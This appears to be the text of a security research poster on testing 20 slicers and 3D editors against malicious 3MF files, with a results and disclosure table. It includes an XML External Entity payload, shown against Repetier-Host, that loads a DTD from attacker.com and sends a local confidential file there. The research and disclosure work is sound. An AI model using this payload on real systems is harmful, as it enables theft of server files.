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Tested Programs

Software Type License

3D Builder 3D Editor closed-source, free
3D Viewer 3D Viewer closed-source, free
Chitubox Pro Slicer closed-source, paid
CraftWare Pro Slicer closed-source, free
Cura Slicer open-source
FlashPrint 5 Slicer closed-source, free
Fusion 360 3D Editor closed-source, paid
ideaMaker Slicer closed-source, free
lib3mf Library open-source
Lychee Slicer 3 Slicer closed-source, free
MeshMagic 3D Editor closed-source, free
MeshMixer 3D Editor closed-source, free
Office 365 3D Viewer closed-source, paid
Paint 3D 3D Editor closed-source, free
PrusaSlicer Slicer open-source
Repetier-Host Slicer closed-source, free
Simplify3D Slicer closed-source, paid
Slic3r Slicer open-source
SuperSlicer Slicer open-source
Z-SUITE Slicer closed-source, free
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3dmodel.model

<model>
<resources>

<object id="1"> ... </object>
<object id="2"> ... </object>
<object id="3">

<components>
<component objectid="1" />
<component objectid="2" />

</components>
</object>

</resources>
<build>

<item objectid="3" transform="1 0 0 0 1 0 0 0 1 0.00100527 -42.998 0" />
</build>

</model>
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3dmodel.model — Billion Laughs Attack

<model>
<resources>

<object id="1"> ... </object>
<object id="2"> ... </object>
<object id="3">

<components>
<component objectid="1" />
<component objectid="2" />

</components>
</object>

</resources>
<build>
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XML External Entity Attack on Repetier-Host

<!ENTITY % remote SYSTEM "http://attacker.com/sendhttp.dtd">
%remote;
%send;

<!ENTITY % payload SYSTEM "file:///workspaces/server_files/confidential.txt">
<!ENTITY % param

"<!ENTITY &amp;amp;#37; send SYSTEM 'http://attacker.com/%payload;'>">
%param;

Code injected into 3dmodel.model file.
<!ENTITY % remote SYSTEM "http://attacker.com/sendhttp.dtd">
%remote;
%send;

<!ENTITY % payload SYSTEM "file:///workspaces/server_files/confidential.txt">
<!ENTITY % param

"<!ENTITY &amp;amp;#37; send SYSTEM 'http://attacker.com/%payload;'>">
%param;

Code in http://attacker.com/sendhttp.dtd
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Distribution of Test Cases per Attack Class/Scope

Scope

Attack Class 3MF OPC XML

Data Exfiltration – 3 23
Denial of Service 9 7 11
UI Spoofing 275 20 4
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Full
Results

Software Data Exfiltration Denial of Service UI Spoofing† Summary Disclosure Status
3MF OPC XML 3MF OPC XML 3MF OPC XML

3D Builder ✓ ✓ ✕ ✓ ✓ ✕ ✕ ✓ ✕ !
3D Viewer ✓ ✓ ✕ ✓ ✓ ✕ ✕ ✓ ✕ !
Chitubox Pro ✓ ✓ ✓ ✓ ✓ ✕ ✕ ✓ ✕ !

CraftWare Pro ✓ ✓ ✓ ✓ ✓ ✕ ✕ ✓ ✕ (✓)

Cura ✓ ✓ ✕ ✕
‡

✓ ✕ ✕ ✓ ✕ (✓)

FlashPrint 5 ✓ ✓ ✕ ✓ ✓ ✕ ✓ ✓ ✕ !
Fusion 360 ✓ ✓ ✕ ✓ ✓ ✕ ✕ ✓ ✕ !
ideaMaker ✓ ✓ ✕

‡
✕ ✕ ✕ ✕ ✓ ✕ !

lib3mf ✓ ✓ ✕ ✓ ✓ ✕ ✕ ✓ ✕ ✓

Lychee Slicer 3 ✓ ✓ ✕
‡

✕
‡

✕
‡

✕ ✕ ✓ ✕ !
MeshMagic ✓ ✓ ✕

‡
✕ ✓ ✕ ✕ ✓ ✕ !

MeshMixer ✓ ✓ ✕ ✓ ✓ ✕ ✓ ✓ ✕ !
Office 365 ✓ ✓ ✓ ✓ ✓ ✕ ✕ ✓ ✕ !
Paint 3D ✓ ✓ ✓ ✓ ✓ ✕ ✕ ✓ ✕ !
PrusaSlicer ✓ ✓ ✕ ✓ ✓ ✕ ✕ ✓ ✕ !
Repetier-Host ✓ ✕ ✕ ✓ ✕ ✓ ✕ ✓ ✕ ✓

Simplify3D ✓ ✓ ✕ ✓ ✓ ✕ ✕ ✓ ✕ !
Slic3r ✓ ✓ ✕

‡
✓ ✕ ✕ ✕ ✓ ✕ !

SuperSlicer ✓ ✓ ✕ ✓ ✕ ✕ ✕ ✓ ✕ !
Z-SUITE ✓ ✓ ✕ ✕

‡
✓ ✕ ✕ ✓ ✕ !∑

✕ 0 0 1 9 5 5 13 11 0 16
✕ : The attacker is successful and meets their winning condition. The software is vulnerable. ✓ : The vulnerabilities are fixed.
✕ : The attacker is partially successful. (✓) : The vulnerabilities will be fixed.
✓ : The attacker is unsuccessful, they cannot meet their winning conditions. ! : The vulnerabilities are not fixed
: 3MF does not have any mechanism to load information from outside the ZIP archive. (+ no information that they will be).

† Evaluated against the baseline. If the program shows minor divergence from the specification, it is ranked as ✕ .
‡ The DoS attack was not designed to be one; the targeted program crashed or hung while parsing a test case.
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Attributions

• Villan SVG Icon by J.J. at the English-language Wikipedia.
License: CC BY-SA 3.0 Deed (background removed)

• All emojis designed by OpenMoji – the open-source emoji
and icon project. License: CC BY-SA 4.0 (various
modifications applied & own emojis created in similar style)
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